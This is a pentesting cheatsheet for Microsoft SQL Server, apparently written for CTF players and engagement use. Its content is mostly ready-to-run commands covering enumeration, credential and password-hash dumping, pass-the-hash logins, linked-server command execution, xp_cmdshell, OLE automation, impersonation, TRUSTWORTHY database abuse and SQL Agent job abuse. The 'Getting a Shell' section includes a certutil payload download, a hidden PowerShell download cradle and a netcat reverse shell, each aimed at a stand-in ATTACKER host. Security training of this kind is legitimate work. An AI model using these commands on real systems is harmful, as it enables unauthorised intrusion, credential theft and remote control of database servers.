MSSQL Pentesting Cheatsheet : From Enumeration to Privilege Escalation

Microsoft SQL Server shows up constantly in CTFs and real engagements, running as a service account with over-provisioned privileges, exposed on 1433, or reachable through a chain of linked servers across a domain. I put this together because I kept losing time mid-box hunting for the same commands. Everything from initial enumeration to code execution and privilege escalation, in one place.

Enumeration

Version and Server Info

SELECT @@VERSION;
SELECT @@SERVERNAME;
SELECT DB_NAME();
SELECT HOST_NAME();
-- Who are we?
SELECT SYSTEM_USER; -- server-level login
SELECT USER_NAME(); -- database user
SELECT CURRENT_USER;
-- Are we sysadmin? (server role check)
SELECT IS_SRVROLEMEMBER('sysadmin');
-- Are we db_owner in current db?
SELECT IS_MEMBER('db_owner');

Listing Databases

SELECT name FROM master.dbo.sysdatabases;
-- Alternative using sys catalog
SELECT name FROM sys.databases;
-- Who owns each database?
SELECT name, suser_sname(owner_sid) AS owner FROM sys.databases;
-- Switch to a database
USE dbname;

Tables and Columns

-- All tables in current database
SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE';
-- Using sysobjects (older but still works)
SELECT name FROM sysobjects WHERE xtype = 'U';
-- Columns in a specific table
SELECT column_name, data_type
FROM information_schema.columns
WHERE table_name = 'tablename';
-- Find juicy columns in current database
SELECT table_catalog, table_name, column_name
FROM information_schema.columns
WHERE column_name LIKE '%pass%'
OR column_name LIKE '%secret%'
OR column_name LIKE '%cred%'
OR column_name LIKE '%token%'
OR column_name LIKE '%hash%';

Users and Permissions

-- Server-level logins
SELECT name, type_desc FROM sys.server_principals
WHERE type IN ('S', 'U', 'G');
-- Database users
SELECT name FROM sys.database_principals
WHERE type NOT IN ('R', 'C');
-- What can the current user do at the server level?
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
-- Database role memberships
SELECT r.name AS role, m.name AS member
FROM sys.database_role_members rm
JOIN sys.database_principals r ON rm.role_principal_id = r.principal_id
JOIN sys.database_principals m ON rm.member_principal_id = m.principal_id;
-- Who is sysadmin?
SELECT name FROM sys.server_principals
WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;
-- All server role memberships
EXEC sp_helpsrvrolemember;

Stored Procedures and SQL Agent Jobs

SQL Agent jobs are often overlooked during enumeration. They run as a service account or proxy and are a useful privesc path.

-- List stored procedures
SELECT name FROM sys.objects WHERE type = 'P';
-- SQL Agent jobs
SELECT job_id, name, enabled FROM msdb.dbo.sysjobs;
-- What commands do those jobs run?
SELECT j.name AS job, s.command
FROM msdb.dbo.sysjobs j
JOIN msdb.dbo.sysjobsteps s ON j.job_id = s.job_id;

Authentication and Login

Connecting with Impacket mssqlclient

Impacket's mssqlclient.py is the go-to tool for interacting with MSSQL from Linux. It supports both SQL and Windows authentication, and pass-the-hash.

Terminal window
# SQL authentication
mssqlclient.py user:password@TARGET
# Windows / domain authentication
mssqlclient.py DOMAIN/user:password@TARGET -windows-auth
# Pass-the-hash (no plaintext needed)
mssqlclient.py DOMAIN/user@TARGET -hashes :NTLMhash -windows-auth

Connecting with sqlcmd (On-Box)

When you already have a shell on the Windows host:

Terminal window
# SQL authentication
sqlcmd -S TARGET -U sa -P password -Q "SELECT @@VERSION"
# Windows authentication (uses current token)
sqlcmd -S TARGET -E -Q "SELECT @@VERSION"
# Interactive shell on local instance
sqlcmd -S . -E

Connecting with PowerShell

Terminal window
# Using .NET directly
$conn = New-Object System.Data.SqlClient.SqlConnection
$conn.ConnectionString = "Server=TARGET;Database=master;Integrated Security=True"
$conn.Open()
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT @@VERSION"
$cmd.ExecuteScalar()
# Using Invoke-Sqlcmd (requires SQLPS or SqlServer module)
Invoke-Sqlcmd -ServerInstance TARGET -Query "SELECT @@VERSION" -TrustServerCertificate

Credential Hunting

Before resorting to brute force, look for credentials left in config files and environment variables:

Terminal window
# Search config files for connection strings
Get-ChildItem -Path C:\ -Include web.config,*.config,appsettings.json `
-Recurse -ErrorAction SilentlyContinue |
Select-String 'connectionString|Password|Data Source'
# Check environment variables
Get-ChildItem Env: | Where-Object { $_.Name -match 'sql|db|conn|pass' }
-- Dump SQL login password hashes (needs sysadmin)
SELECT name, password_hash FROM sys.sql_logins;

Reading and Writing Data

Basic Data Extraction

-- Sample rows from a table
SELECT TOP 10 * FROM dbo.tablename;
-- Cross-database query
SELECT * FROM dbname.dbo.tablename;
-- Row count
SELECT COUNT(*) FROM tablename;

Reading Files from Disk

Requires sysadmin.

-- Read a file using OPENROWSET
SELECT * FROM OPENROWSET(BULK N'C:\windows\win.ini', SINGLE_CLOB) AS r;

Useful files to target: web.config, appsettings.json, C:\inetpub\wwwroot\*, unattend.xml.

Writing Files to Disk

File writes typically go through xp_cmdshell or bcp:

-- Write via echo (needs xp_cmdshell enabled)
EXEC xp_cmdshell 'echo pwned > C:\Windows\Temp\test.txt';
-- Export query result to file with bcp
EXEC xp_cmdshell 'bcp "SELECT 1" queryout C:\Temp\out.txt -c -T -S localhost';

Useful Data Tricks

-- Time-based blind SQL injection delay
WAITFOR DELAY '0:0:5';
-- Conditional delay (for blind boolean checks)
IF (SELECT COUNT(*) FROM master..syslogins WHERE name = 'sa') > 0
WAITFOR DELAY '0:0:5';
-- Hex to string
SELECT CONVERT(VARCHAR, 0x414243); -- 'ABC'
-- Base64 decode to binary
SELECT CAST(N'' AS XML).value('xs:base64Binary("AABB")', 'VARBINARY(MAX)');

Linked Server Abuse

Linked servers are one of the most underrated lateral movement paths in MSSQL environments. A low-privilege user on one instance can sometimes reach a sysadmin context on a linked server.

Enumerate Linked Servers

-- List all linked servers
SELECT name, data_source FROM sys.servers WHERE is_linked = 1;
-- Check RPC out (required for EXEC ... AT)
SELECT name, is_rpc_out_enabled FROM sys.servers WHERE is_linked = 1;
-- Query the linked server
SELECT * FROM OPENQUERY([LINKEDSRV], 'SELECT @@VERSION');
SELECT * FROM OPENQUERY([LINKEDSRV], 'SELECT SYSTEM_USER');
-- Are we sysadmin on the linked server?
SELECT * FROM OPENQUERY([LINKEDSRV], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

Execute Commands via Linked Servers

-- Run a query on a linked server (requires RPC out enabled)
EXEC ('SELECT @@VERSION') AT [LINKEDSRV];
-- Enable xp_cmdshell on the linked server
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE') AT [LINKEDSRV];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE') AT [LINKEDSRV];
-- Run OS command on linked server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKEDSRV];

Chaining Linked Servers (Double-Hop)

When you need to hop through multiple linked servers, quotes nest exponentially. Each level doubles the single quotes:

EXEC (
'EXEC (''SELECT * FROM OPENQUERY([REMOTE], ''''SELECT @@VERSION'''')'') AT [HOP1]'
) AT [LINKEDSRV];

Use PowerUpSQL's Get-SQLServerLinkCrawl instead of doing this manually as it handles the quoting automatically.

xp_cmdshell and Code Execution

xp_cmdshell is disabled by default but is the most direct path from SQL to OS. It requires sysadmin.

Enable xp_cmdshell

-- Check if it's already on (value_in_use = actual running state)
SELECT name, value, value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell';
-- Enable it
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Disable when done (operational security)
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
EXEC sp_configure 'show advanced options', 0; RECONFIGURE;

Running Commands

EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'whoami /priv';
EXEC xp_cmdshell 'ipconfig /all';
EXEC xp_cmdshell 'dir C:\';
-- Capture output into a table
CREATE TABLE #out (out NVARCHAR(4000));
INSERT #out EXEC xp_cmdshell 'whoami /all';
SELECT * FROM #out;
DROP TABLE #out;

Getting a Shell

-- Download a file with certutil
EXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER/shell.exe C:\Temp\shell.exe';
-- PowerShell download cradle
EXEC xp_cmdshell 'powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER/s.ps1'')"';
-- Netcat reverse shell
EXEC xp_cmdshell 'C:\Temp\nc.exe ATTACKER 4444 -e cmd.exe';

Alternatives When xp_cmdshell Is Blocked

OLE Automation Procedures

-- Enable OLE automation (show advanced options must be on first)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
-- Execute OS command via WScript.Shell
DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUT;
EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd /c whoami > C:\Temp\o.txt', 0, 1;
EXEC sp_OADestroy @shell;

CLR Custom Assembly

If both xp_cmdshell and OLE automation are locked down, you can load a malicious .NET assembly as a CLR stored procedure. This requires clr enabled and UNSAFE assembly permissions. Refer to PowerUpSQL's Invoke-SQLOSCmdCLR for an automated path.


Privilege Escalation

Impersonation

MSSQL allows logins to be granted IMPERSONATE permission on other logins. This is a direct privesc vector if you can impersonate sa, you are sa.

-- Find server-level logins you can impersonate
-- (major_id = the login being impersonated; grantee = you)
SELECT
sp_you.name AS you_are,
sp_target.name AS login_you_can_impersonate
FROM sys.server_permissions perm
JOIN sys.server_principals sp_you ON perm.grantee_principal_id = sp_you.principal_id
JOIN sys.server_principals sp_target ON perm.major_id = sp_target.principal_id
WHERE perm.permission_name = 'IMPERSONATE';
-- Find database-level users you can impersonate
SELECT
USER_NAME(grantee_principal_id) AS you_are,
USER_NAME(major_id) AS user_you_can_impersonate
FROM sys.database_permissions
WHERE permission_name = 'IMPERSONATE';
-- Impersonate a server login
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER; -- should now return 'sa'
-- Impersonate a database user
EXECUTE AS USER = 'dbo';
SELECT USER_NAME();
-- Revert back
REVERT;

TRUSTWORTHY Database Abuse

If you are db_owner of a database that has is_trustworthy_on = 1 and the database owner's server login is a sysadmin (commonly sa), you can create a stored procedure that executes as OWNER and inherit sysadmin context.

-- Find TRUSTWORTHY databases and their owners
SELECT name, is_trustworthy_on, SUSER_SNAME(owner_sid) AS owner
FROM sys.databases
WHERE is_trustworthy_on = 1 AND name != 'msdb';
-- Exploit: create procedure inside the trustworthy db with EXECUTE AS OWNER
USE trusteddb;
CREATE PROCEDURE evil_proc WITH EXECUTE AS OWNER AS
EXEC master..xp_cmdshell 'whoami';
GO
EXEC evil_proc;

SQL Agent Job Abuse

SQL Agent jobs can be created to run commands under the SQL Server Agent service account, which is often different from, and more privileged than the account running the SQL Engine.

-- Create a job
EXEC msdb.dbo.sp_add_job @job_name = 'pwnjob';
EXEC msdb.dbo.sp_add_jobstep
@job_name = 'pwnjob',
@step_name = 's1',
@subsystem = 'CMDEXEC',
@command = 'whoami > C:\Temp\j.txt';
EXEC msdb.dbo.sp_add_jobserver @job_name = 'pwnjob';
EXEC msdb.dbo.sp_start_job 'pwnjob';
-- Read the output
WAITFOR DELAY '0:0:3';
EXEC xp_cmdshell 'type C:\Temp\j.txt';
-- Clean up
EXEC msdb.dbo.sp_delete_job @job_name = 'pwnjob';

Tools Reference

PowerUpSQL

The most complete MSSQL auditing toolkit for Windows environments. Essential for automated enumeration and chained linked server exploitation.

Terminal window
# Import the module
Import-Module PowerUpSQL.ps1
# Discover all accessible MSSQL instances in the domain
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded |
Where-Object { $_.Status -eq 'Accessible' }
# Automated audit (checks impersonation, links, weak configs)
Invoke-SQLAudit -Instance 'TARGET' | Out-GridView
# Check impersonation opportunities
Invoke-SQLAuditPrivImpersonateLogin -Instance 'TARGET'
# Enumerate linked servers
Get-SQLServerLink -Instance 'TARGET' -Verbose
# Crawl the full linked server chain
Get-SQLServerLinkCrawl -Instance 'TARGET' -Verbose
# Run a command through the chain
Get-SQLServerLinkCrawl -Instance 'TARGET' -Query 'EXEC xp_cmdshell ''whoami'''

Impacket mssqlclient.py

The best tool for MSSQL interaction from Linux. Has built-in commands for enabling xp_cmdshell.

Terminal window
# Connect with SQL auth
mssqlclient.py user:pass@TARGET
# Built-in shell helper (handles enable + exec automatically)
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
# Pass-the-hash
mssqlclient.py DOMAIN/user@TARGET -hashes :NTLM -windows-auth

sqlcmd and sqsh

Terminal window
# sqlcmd — output to file
sqlcmd -S TARGET -U sa -P pass \
-Q "SELECT name FROM sys.databases" \
-o out.txt
# sqsh — interactive
sqsh -S TARGET -U sa -P password -D master